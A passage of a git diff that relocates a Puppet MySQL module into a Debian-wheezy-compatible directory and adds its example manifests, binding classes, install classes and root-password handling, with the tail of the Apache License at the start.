the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/modules/services/unix/database/mysql/NOTICE b/modules/services/unix/database/mysql_wheezy_compatible/mysql/NOTICE similarity index 100% rename from modules/services/unix/database/mysql/NOTICE rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/NOTICE diff --git a/modules/services/unix/database/mysql/README.md b/modules/services/unix/database/mysql_wheezy_compatible/mysql/README.md similarity index 100% rename from modules/services/unix/database/mysql/README.md rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/README.md diff --git a/modules/services/unix/database/mysql/Rakefile b/modules/services/unix/database/mysql_wheezy_compatible/mysql/Rakefile similarity index 100% rename from modules/services/unix/database/mysql/Rakefile rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/Rakefile diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/TODO b/modules/services/unix/database/mysql_wheezy_compatible/mysql/TODO new file mode 100644 index 000000000..391329393 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/TODO @@ -0,0 +1,8 @@ +The best that I can tell is that this code traces back to David Schmitt. It has been forked many times since then :) + +1. you cannot add databases to an instance that has a root password +2. you have to specify username as USER@BLAH or it cannot be found +3. mysql_grant does not complain if user does not exist +4. Needs support for pre-seeding on debian +5. the types may need to take user/password +6. rather or not to configure /etc/.my.cnf should be configurable diff --git a/modules/services/unix/database/mysql/checksums.json b/modules/services/unix/database/mysql_wheezy_compatible/mysql/checksums.json similarity index 100% rename from modules/services/unix/database/mysql/checksums.json rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/checksums.json diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/backup.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/backup.pp new file mode 100644 index 000000000..4bdf8043b --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/backup.pp @@ -0,0 +1,9 @@ +class { 'mysql::server': + root_password => 'password' +} + +class { 'mysql::server::backup': + backupuser => 'myuser', + backuppassword => 'mypassword', + backupdir => '/tmp/backups', +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/bindings.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/bindings.pp new file mode 100644 index 000000000..e4e325c61 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/bindings.pp @@ -0,0 +1,3 @@ +class { 'mysql::bindings': + php_enable => true, +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/java.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/java.pp new file mode 100644 index 000000000..0fc009a6d --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/java.pp @@ -0,0 +1 @@ +class { 'mysql::java':} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_database.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_database.pp new file mode 100644 index 000000000..47a328cff --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_database.pp @@ -0,0 +1,17 @@ +class { 'mysql::server': + root_password => 'password' +} +mysql::db{ ['test1', 'test2', 'test3']: + ensure => present, + charset => 'utf8', + require => Class['mysql::server'], +} +mysql::db{ 'test4': + ensure => present, + charset => 'latin1', +} +mysql::db{ 'test5': + ensure => present, + charset => 'binary', + collate => 'binary', +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_db.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_db.pp new file mode 100644 index 000000000..43c619f8d --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_db.pp @@ -0,0 +1,17 @@ +class { 'mysql::server': + root_password => 'password' +} +mysql::db { 'mydb': + user => 'myuser', + password => 'mypass', + host => 'localhost', + grant => ['SELECT', 'UPDATE'], +} +mysql::db { "mydb_${fqdn}": + user => 'myuser', + password => 'mypass', + dbname => 'mydb', + host => $::fqdn, + grant => ['SELECT', 'UPDATE'], + tag => $domain, +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_grant.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_grant.pp new file mode 100644 index 000000000..20fe78d6a --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_grant.pp @@ -0,0 +1,5 @@ +mysql_grant{'test1@localhost/redmine.*': + user => 'test1@localhost', + table => 'redmine.*', + privileges => ['UPDATE'], +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_plugin.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_plugin.pp new file mode 100644 index 000000000..d80275972 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_plugin.pp @@ -0,0 +1,23 @@ +class { 'mysql::server': + root_password => 'password' +} + +$validate_password_soname = $::osfamily ? { + windows => 'validate_password.dll', + default => 'validate_password.so' +} + +mysql::plugin { 'validate_password': + ensure => present, + soname => $validate_password_soname, +} + +$auth_socket_soname = $::osfamily ? { + windows => 'auth_socket.dll', + default => 'auth_socket.so' +} + +mysql::plugin { 'auth_socket': + ensure => present, + soname => $auth_socket_soname, +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_user.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_user.pp new file mode 100644 index 000000000..c47186866 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/mysql_user.pp @@ -0,0 +1,32 @@ +$mysql_root_pw = 'password' + +class { 'mysql::server': + root_password => 'password', +} + +mysql_user{ 'redmine@localhost': + ensure => present, + password_hash => mysql_password('redmine'), + require => Class['mysql::server'], +} + +mysql_user{ 'dan@localhost': + ensure => present, + password_hash => mysql_password('blah') +} + +mysql_user{ 'dan@%': + ensure => present, + password_hash => mysql_password('blah'), +} + +mysql_user{ 'socketplugin@%': + ensure => present, + plugin => 'unix_socket', +} + +mysql_user{ 'socketplugin@%': + ensure => present, + password_hash => mysql_password('blah'), + plugin => 'mysql_native_password', +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/perl.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/perl.pp new file mode 100644 index 000000000..1bbd3ab2f --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/perl.pp @@ -0,0 +1 @@ +include mysql::bindings::perl diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/python.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/python.pp new file mode 100644 index 000000000..49ddddb60 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/python.pp @@ -0,0 +1 @@ +class { 'mysql::bindings::python':} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/ruby.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/ruby.pp new file mode 100644 index 000000000..671725630 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/ruby.pp @@ -0,0 +1 @@ +include mysql::bindings::ruby diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server.pp new file mode 100644 index 000000000..8afdd00d2 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server.pp @@ -0,0 +1,3 @@ +class { 'mysql::server': + root_password => 'password', +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/account_security.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/account_security.pp new file mode 100644 index 000000000..cb59f4f64 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/account_security.pp @@ -0,0 +1,4 @@ +class { 'mysql::server': + root_password => 'password', +} +class { 'mysql::server::account_security': } diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/config.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/config.pp new file mode 100644 index 000000000..2cde11b0b --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/examples/server/config.pp @@ -0,0 +1,3 @@ +mysql::server::config { 'testfile': + +} diff --git a/modules/services/unix/database/mysql/lib/facter/mysql_server_id.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/facter/mysql_server_id.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/facter/mysql_server_id.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/facter/mysql_server_id.rb diff --git a/modules/services/unix/database/mysql/lib/facter/mysql_version.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/facter/mysql_version.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/facter/mysql_version.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/facter/mysql_version.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_deepmerge.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_dirname.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_dirname.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_dirname.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_password.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_password.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_password.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_strip_hash.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_table_exists.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_table_exists.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/parser/functions/mysql_table_exists.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/parser/functions/mysql_table_exists.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql_database/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql_database/mysql.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql_datadir/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql_datadir/mysql.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql_grant/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql_grant/mysql.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql_plugin/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql_plugin/mysql.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/provider/mysql_user/mysql.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/provider/mysql_user/mysql.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/type/mysql_database.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_database.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/type/mysql_database.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_database.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/type/mysql_datadir.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_datadir.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/type/mysql_datadir.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_datadir.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/type/mysql_grant.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_grant.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/type/mysql_grant.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_grant.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/type/mysql_plugin.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_plugin.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/type/mysql_plugin.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_plugin.rb diff --git a/modules/services/unix/database/mysql/lib/puppet/type/mysql_user.rb b/modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_user.rb similarity index 100% rename from modules/services/unix/database/mysql/lib/puppet/type/mysql_user.rb rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/lib/puppet/type/mysql_user.rb diff --git a/modules/services/unix/database/mysql/manifests/backup/mysqlbackup.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/mysqlbackup.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/backup/mysqlbackup.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/mysqlbackup.pp diff --git a/modules/services/unix/database/mysql/manifests/backup/mysqldump.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/mysqldump.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/backup/mysqldump.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/mysqldump.pp diff --git a/modules/services/unix/database/mysql/manifests/backup/xtrabackup.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/xtrabackup.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/backup/xtrabackup.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/backup/xtrabackup.pp diff --git a/modules/services/unix/database/mysql/manifests/bindings.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/bindings.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings.pp diff --git a/modules/services/unix/database/mysql/manifests/bindings/client_dev.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/client_dev.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/bindings/client_dev.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/client_dev.pp diff --git a/modules/services/unix/database/mysql/manifests/bindings/daemon_dev.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/daemon_dev.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/bindings/daemon_dev.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/daemon_dev.pp diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/java.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/java.pp new file mode 100644 index 000000000..db93ac282 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/java.pp @@ -0,0 +1,11 @@ +# Private class +class mysql::bindings::java { + + package { 'mysql-connector-java': + ensure => $mysql::bindings::java_package_ensure, + install_options => $mysql::bindings::install_options, + name => $mysql::bindings::java_package_name, + provider => $mysql::bindings::java_package_provider, + } + +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/perl.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/perl.pp new file mode 100644 index 000000000..99d429c46 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/perl.pp @@ -0,0 +1,11 @@ +# Private class +class mysql::bindings::perl { + + package{ 'perl_mysql': + ensure => $mysql::bindings::perl_package_ensure, + install_options => $mysql::bindings::install_options, + name => $mysql::bindings::perl_package_name, + provider => $mysql::bindings::perl_package_provider, + } + +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/php.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/php.pp new file mode 100644 index 000000000..9af706962 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/php.pp @@ -0,0 +1,11 @@ +# Private class: See README.md +class mysql::bindings::php { + + package { 'php-mysql': + ensure => $mysql::bindings::php_package_ensure, + install_options => $mysql::bindings::install_options, + name => $mysql::bindings::php_package_name, + provider => $mysql::bindings::php_package_provider, + } + +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/python.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/python.pp new file mode 100644 index 000000000..a44c8fa15 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/python.pp @@ -0,0 +1,11 @@ +# Private class +class mysql::bindings::python { + + package { 'python-mysqldb': + ensure => $mysql::bindings::python_package_ensure, + install_options => $mysql::bindings::install_options, + name => $mysql::bindings::python_package_name, + provider => $mysql::bindings::python_package_provider, + } + +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/ruby.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/ruby.pp new file mode 100644 index 000000000..d431efedc --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/bindings/ruby.pp @@ -0,0 +1,11 @@ +# Private class +class mysql::bindings::ruby { + + package{ 'ruby_mysql': + ensure => $mysql::bindings::ruby_package_ensure, + install_options => $mysql::bindings::install_options, + name => $mysql::bindings::ruby_package_name, + provider => $mysql::bindings::ruby_package_provider, + } + +} diff --git a/modules/services/unix/database/mysql/manifests/client.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/client.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client.pp diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client/install.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client/install.pp new file mode 100644 index 000000000..26e5ec276 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/client/install.pp @@ -0,0 +1,14 @@ +# See README.md. +class mysql::client::install { + + if $mysql::client::package_manage { + + package { 'mysql_client': + ensure => $mysql::client::package_ensure, + install_options => $mysql::client::install_options, + name => $mysql::client::package_name, + } + + } + +} diff --git a/modules/services/unix/database/mysql/manifests/db.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/db.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/db.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/db.pp diff --git a/modules/services/unix/database/mysql/manifests/params.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/params.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/params.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/params.pp diff --git a/modules/services/unix/database/mysql/manifests/server.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server.pp diff --git a/modules/services/unix/database/mysql/manifests/server/account_security.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/account_security.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server/account_security.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/account_security.pp diff --git a/modules/services/unix/database/mysql/manifests/server/backup.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/backup.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server/backup.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/backup.pp diff --git a/modules/services/unix/database/mysql/manifests/server/config.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/config.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server/config.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/config.pp diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/install.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/install.pp new file mode 100644 index 000000000..3b9601def --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/install.pp @@ -0,0 +1,13 @@ +# +class mysql::server::install { + + if $mysql::server::package_manage { + + package { 'mysql-server': + ensure => $mysql::server::package_ensure, + install_options => $mysql::server::install_options, + name => $mysql::server::package_name, + } + } + +} diff --git a/modules/services/unix/database/mysql/manifests/server/installdb.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/installdb.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server/installdb.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/installdb.pp diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/monitor.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/monitor.pp new file mode 100644 index 000000000..6b1860983 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/monitor.pp @@ -0,0 +1,24 @@ +#This is a helper class to add a monitoring user to the database +class mysql::server::monitor ( + $mysql_monitor_username = '', + $mysql_monitor_password = '', + $mysql_monitor_hostname = '' +) { + + Anchor['mysql::server::end'] -> Class['mysql::server::monitor'] + + mysql_user { "${mysql_monitor_username}@${mysql_monitor_hostname}": + ensure => present, + password_hash => mysql_password($mysql_monitor_password), + require => Class['mysql::server::service'], + } + + mysql_grant { "${mysql_monitor_username}@${mysql_monitor_hostname}/*.*": + ensure => present, + user => "${mysql_monitor_username}@${mysql_monitor_hostname}", + table => '*.*', + privileges => [ 'PROCESS', 'SUPER' ], + require => Mysql_user["${mysql_monitor_username}@${mysql_monitor_hostname}"], + } + +} diff --git a/modules/services/unix/database/mysql/manifests/server/mysqltuner.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/mysqltuner.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server/mysqltuner.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/mysqltuner.pp diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/providers.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/providers.pp new file mode 100644 index 000000000..b651172fc --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/providers.pp @@ -0,0 +1,8 @@ +# Convenience class to call each of the three providers with the corresponding +# hashes provided in mysql::server. +# See README.md for details. +class mysql::server::providers { + create_resources('mysql_user', $mysql::server::users) + create_resources('mysql_grant', $mysql::server::grants) + create_resources('mysql_database', $mysql::server::databases) +} diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/root_password.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/root_password.pp new file mode 100644 index 000000000..9ebc10398 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/root_password.pp @@ -0,0 +1,46 @@ +# +class mysql::server::root_password { + + $options = $mysql::server::options + $secret_file = $mysql::server::install_secret_file + + # New installations of MySQL will configure a default random password for the root user + # with an expiration. No actions can be performed until this password is changed. The + # below exec will remove this default password. If the user has supplied a root + # password it will be set further down with the mysql_user resource. + $rm_pass_cmd = join([ + "mysqladmin -u root --password=\$(grep -o '[^ ]\\+\$' ${secret_file}) password ''", + "rm -f ${secret_file}" + ], ' && ') + exec { 'remove install pass': + command => $rm_pass_cmd, + onlyif => "test -f ${secret_file}", + path => '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin' + } + + # manage root password if it is set + if $mysql::server::create_root_user == true and $mysql::server::root_password != 'UNSET' { + mysql_user { 'root@localhost': + ensure => present, + password_hash => mysql_password($mysql::server::root_password), + require => Exec['remove install pass'] + } + } + + if $mysql::server::create_root_my_cnf == true and $mysql::server::root_password != 'UNSET' { + file { "${::root_home}/.my.cnf": + content => template('mysql/my.cnf.pass.erb'), + owner => 'root', + mode => '0600', + } + + # show_diff was added with puppet 3.0 + if versioncmp($::puppetversion, '3.0') >= 0 { + File["${::root_home}/.my.cnf"] { show_diff => false } + } + if $mysql::server::create_root_user == true { + Mysql_user['root@localhost'] -> File["${::root_home}/.my.cnf"] + } + } + +} diff --git a/modules/services/unix/database/mysql/manifests/server/service.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/service.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server/service.pp rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/manifests/server/service.pp diff --git a/modules/services/unix/database/mysql/metadata.json b/modules/services/unix/database/mysql_wheezy_compatible/mysql/metadata.json similarity index 100% rename from modules/services/unix/database/mysql/metadata.json rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/metadata.json diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/mysql.pp b/modules/services/unix/database/mysql_wheezy_compatible/mysql/mysql.pp new file mode 100644 index 000000000..128fcf69b --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/mysql.pp @@ -0,0 +1,11 @@ +stage { 'preinstall': + before => Stage['main'] +} +class apt_get_update { + exec { 